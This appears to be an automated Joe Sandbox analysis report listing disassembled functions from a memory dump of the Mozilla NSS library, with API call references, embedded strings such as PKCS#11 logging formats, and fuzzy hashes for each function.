API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 7166317e651b01d27978ffe12c9baeb3d3904929d766402751c23923f430fc44
Instruction ID: 403f3e6000bc385fddc7b1cde79d32a28fcf484fe670a260178754c8b0a528ce
Opcode Fuzzy Hash: 7166317e651b01d27978ffe12c9baeb3d3904929d766402751c23923f430fc44
Instruction Fuzzy Hash: 1351E2B1A042009BE710CF28DE49B96B7E8EF94358F048939EC55C7741E735E949CBD2

Function 6C6FAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6FAF47

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

FreeLibrary.KERNEL32(?), ref: 6C6FAF6D
free.MOZGLUE(?), ref: 6C6FAFA4
free.MOZGLUE(?), ref: 6C6FAFAA
PR_ExitMonitor.NSS3 ref: 6C6FAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C6FAFF5
PR_ExitMonitor.NSS3 ref: 6C6FB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6FB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C6FB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6FB03C

Strings

Unloaded library %s, xrefs: 6C6FB023
%s decr => %d, xrefs: 6C6FAFF0

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: d952c43b8a6285b07051f157dff3dd4c4dcdb606368f244b176a28f9b29d818b
Instruction ID: adcf5e4b99b3e68ab300051dc728c446b2dc3a2329acdd57f7026f59933614b1
Opcode Fuzzy Hash: d952c43b8a6285b07051f157dff3dd4c4dcdb606368f244b176a28f9b29d818b
Instruction Fuzzy Hash: 71314BB4B05011AFEB119F65DC44A55B776EB0531CB184135EC258BB02F332E82AC7F6

Function 6C746C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C74781D,00000000,6C73BE2C,?,6C746B1D,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C74781D,?,6C73BE2C,?), ref: 6C746C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C746C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C746C96

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C746CAA

Strings

dbm:, xrefs: 6C746C3A
dbm, xrefs: 6C746CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C746C91
rdb:, xrefs: 6C746C69
sql:, xrefs: 6C746C52
extern:, xrefs: 6C746C7E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 84b2917be4ffacaea9436494f41bd28f884138ed1d235f1cdfefac691080bf3b
Instruction ID: 8ebe95bf0ff7fd2ca86c7e9179bfbc79ee6dbf489be15518fd368867161c1d61
Opcode Fuzzy Hash: 84b2917be4ffacaea9436494f41bd28f884138ed1d235f1cdfefac691080bf3b
Instruction Fuzzy Hash: BD01A7E170231527F56027796F49F26395D9F4265CF544832FE08E0A42EAD6E614C0A5

Function 6C754E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7178F8), ref: 6C754E6D

Part of subcall function 6C6F09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6F06A2,00000000,?), ref: 6C6F09F8
Part of subcall function 6C6F09E0: malloc.MOZGLUE(0000001F), ref: 6C6F0A18
Part of subcall function 6C6F09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6F0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7178F8), ref: 6C754ED9

Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C747703,?,00000000,00000000), ref: 6C745942
Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C747703), ref: 6C745954
Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C74596A
Part of subcall function 6C745920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C745984
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C745999
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C7459BA
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7459D3
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C7459F5
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C745A0A
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C745A2E
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C745A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754EB3

Part of subcall function 6C754820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C754EB8,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75484C
Part of subcall function 6C754820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C754EB8,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75486D
Part of subcall function 6C754820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C754EB8,?), ref: 6C754884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754EC0

Part of subcall function 6C754470: TlsGetValue.KERNEL32(00000000,?,6C717296,00000000), ref: 6C754487
Part of subcall function 6C754470: EnterCriticalSection.KERNEL32(?,?,?,6C717296,00000000), ref: 6C7544A0
Part of subcall function 6C754470: PR_Unlock.NSS3(?,?,?,?,6C717296,00000000), ref: 6C7544BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F8F
PK11_UpdateSlotAttribute.NSS3(?,6C82DCB0,00000000), ref: 6C754FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C75501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75506B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 32299633f8eca085c42be54b2f198a190b0da80752dc318c7e0f56f60de401be
Instruction ID: 85ffb86e4a8d079149e3bdb1c2bc5c482a3bcc74e992cf13c40ee0c7c6fd9928
Opcode Fuzzy Hash: 32299633f8eca085c42be54b2f198a190b0da80752dc318c7e0f56f60de401be
Instruction Fuzzy Hash: F051D3B1E002019BDB119F35EE09AAB36B5BF0535CF584635E80A46A52FF32E535CBD2

Function 6C6FACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FACE2
malloc.MOZGLUE(00000001), ref: 6C6FACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6FAD02
TlsGetValue.KERNEL32 ref: 6C6FAD3C
calloc.MOZGLUE(00000001,?), ref: 6C6FAD8C
PR_Unlock.NSS3 ref: 6C6FADC0
free.MOZGLUE(00000000), ref: 6C6FAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6FAE58
free.MOZGLUE(00000000), ref: 6C6FAE69
free.MOZGLUE(?), ref: 6C6FAE78
PR_Unlock.NSS3 ref: 6C6FAE8C
free.MOZGLUE(?), ref: 6C6FAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6FAEC7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: ec12590d8857c3432f1921ab0a830840ffaec7084f27c893294b58596e71221e
Instruction ID: 9819b64d86a8ccad6c030d9dbe26925988d460203aa6c84b39096e2a22ce1e44
Opcode Fuzzy Hash: ec12590d8857c3432f1921ab0a830840ffaec7084f27c893294b58596e71221e
Instruction Fuzzy Hash: 5851C3B4E002168BDB10DF99D8466AE77B6BB0A34CF140135D825A3B13D371AD06CBEA

Function 6C73ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C73ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AE29

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C73AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C73AEA0

Strings

hSession = 0x%x, xrefs: 6C73AE01, 6C73AE11
(CK_INVALID_HANDLE), xrefs: 6C73AE1F, 6C73AE80
C_MessageSignInit, xrefs: 6C73ADE1
hKey = 0x%x, xrefs: 6C73AE62, 6C73AE72

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: a8bfbb1d8e2a04388e18069fa9c2519939b8a7efa823ad7ca2ed6462dfece388
Instruction ID: 27491b4ca3e66077a58e7e862756750522e8ec67d36226ee5658cbc8424217ee
Opcode Fuzzy Hash: a8bfbb1d8e2a04388e18069fa9c2519939b8a7efa823ad7ca2ed6462dfece388
Instruction Fuzzy Hash: 36312531605124ABCF21CB64DE4EFBA33B9AB4231DF446835E40D5BB42D738A848CBD6

Function 6C739EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C739F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739F49

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C739F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C739FC0

Strings

hSession = 0x%x, xrefs: 6C739F21, 6C739F31
(CK_INVALID_HANDLE), xrefs: 6C739F3F, 6C739FA0
hKey = 0x%x, xrefs: 6C739F82, 6C739F92
C_MessageEncryptInit, xrefs: 6C739F01

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: d078a38da9e0c73d7ccf5774bec0a8aa3a0605598a7182632d7f094e5dcfe8be
Instruction ID: 0d2913347ae072ae382fcc7d946aaaa93009144e5a3793892b7903e9b16a3ceb
Opcode Fuzzy Hash: d078a38da9e0c73d7ccf5774bec0a8aa3a0605598a7182632d7f094e5dcfe8be
Instruction Fuzzy Hash: B4310431605225ABCB21CB14DE4CFBE37B5AB4231DF046835E40D6BB42DB38A848CBD6

Function 6C7D4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7D4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7D4D44

Strings

invalid, xrefs: 6C7D4CF1
bad parameter or other API misuse, xrefs: 6C7D4D05
abort due to ROLLBACK, xrefs: 6C7D4D27, 6C7D4D33
API call with %s database connection pointer, xrefs: 6C7D4CF6
no more rows available, xrefs: 6C7D4D2E
out of memory, xrefs: 6C7D4C78, 6C7D4C9E
another row available, xrefs: 6C7D4D20
unknown error, xrefs: 6C7D4D56

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: ef55f2b59338cbcdaf2c25fefae10570a3324d18bbe533ab07a05847be0ca237
Instruction ID: df5ef18c8c049368fcddab6ae664d2eaa2ba45aa3f2aa92fc59736dad66dd660
Opcode Fuzzy Hash: ef55f2b59338cbcdaf2c25fefae10570a3324d18bbe533ab07a05847be0ca237
Instruction Fuzzy Hash: E8316873A088216BDB244B24FB067A573617783318F570935D52C4BF65C724BC15E3D6

Function 6C732DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C732DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C732E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C732E33

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C732E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C732E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C732E81

Strings

hSession = 0x%x, xrefs: 6C732E0E, 6C732E1E
(CK_INVALID_HANDLE), xrefs: 6C732E2C
ulPinLen = %d, xrefs: 6C732E7C
pPin = 0x%p, xrefs: 6C732E63
C_InitPIN, xrefs: 6C732DF1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 9103849e3bb6cba8b148d89026c72c6b5954dc35cc73ee448d1eddaae3fd1de3
Instruction ID: 830e22771b79104f700b281a2ffbe3a03f0e05c1e49b5e5ee53d48d9b64de1b3
Opcode Fuzzy Hash: 9103849e3bb6cba8b148d89026c72c6b5954dc35cc73ee448d1eddaae3fd1de3
Instruction Fuzzy Hash: 8A313771606164ABDB20CB15CF4DB6A37B9EB4231CF045470E80DABB53DB38A848CBD6

Function 6C737E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C737E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737E63

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C737E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C737EB1

Strings

C_VerifyUpdate, xrefs: 6C737E21
hSession = 0x%x, xrefs: 6C737E3E, 6C737E4E
(CK_INVALID_HANDLE), xrefs: 6C737E5C
ulPartLen = %d, xrefs: 6C737EAC
pPart = 0x%p, xrefs: 6C737E93

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 68a474513c854d18158c55533aae3ab5696b246ec31bde638376e8fb3e7160d8
Instruction ID: ddf0503ccfb529f9b5e3bf8d249cb3a899da5336d61e65e5dec18ec2e463d051
Opcode Fuzzy Hash: 68a474513c854d18158c55533aae3ab5696b246ec31bde638376e8fb3e7160d8
Instruction Fuzzy Hash: 7A313B34606125EBD7209B15CF4CF6A37B9AB4234CF446474E80D5BB42DB38AC48CBD6

Function 6C736EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C736F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736F53

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C736F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C736FA1

Strings

hSession = 0x%x, xrefs: 6C736F2E, 6C736F3E
(CK_INVALID_HANDLE), xrefs: 6C736F4C
ulPartLen = %d, xrefs: 6C736F9C
pPart = 0x%p, xrefs: 6C736F83
C_DigestUpdate, xrefs: 6C736F11

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 0842bc65122bc2bb400bbf2634a72057084a9ce09d3b55663d8b81c47889a384
Instruction ID: 4225626bf81f68d96ace66284604a183416253cf51eae5db399b28e855aabcf7
Opcode Fuzzy Hash: 0842bc65122bc2bb400bbf2634a72057084a9ce09d3b55663d8b81c47889a384
Instruction Fuzzy Hash: AE31F234606025ABDB20DB25CE4CF6A37B5AB4235CF046434E80C9BB03DB38E948CBD6

Function 6C737F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C737F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737F93

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C737FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C737FE1

Strings

hSession = 0x%x, xrefs: 6C737F6E, 6C737F7E
(CK_INVALID_HANDLE), xrefs: 6C737F8C
ulSignatureLen = %d, xrefs: 6C737FDC
C_VerifyFinal, xrefs: 6C737F51
pSignature = 0x%p, xrefs: 6C737FC3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
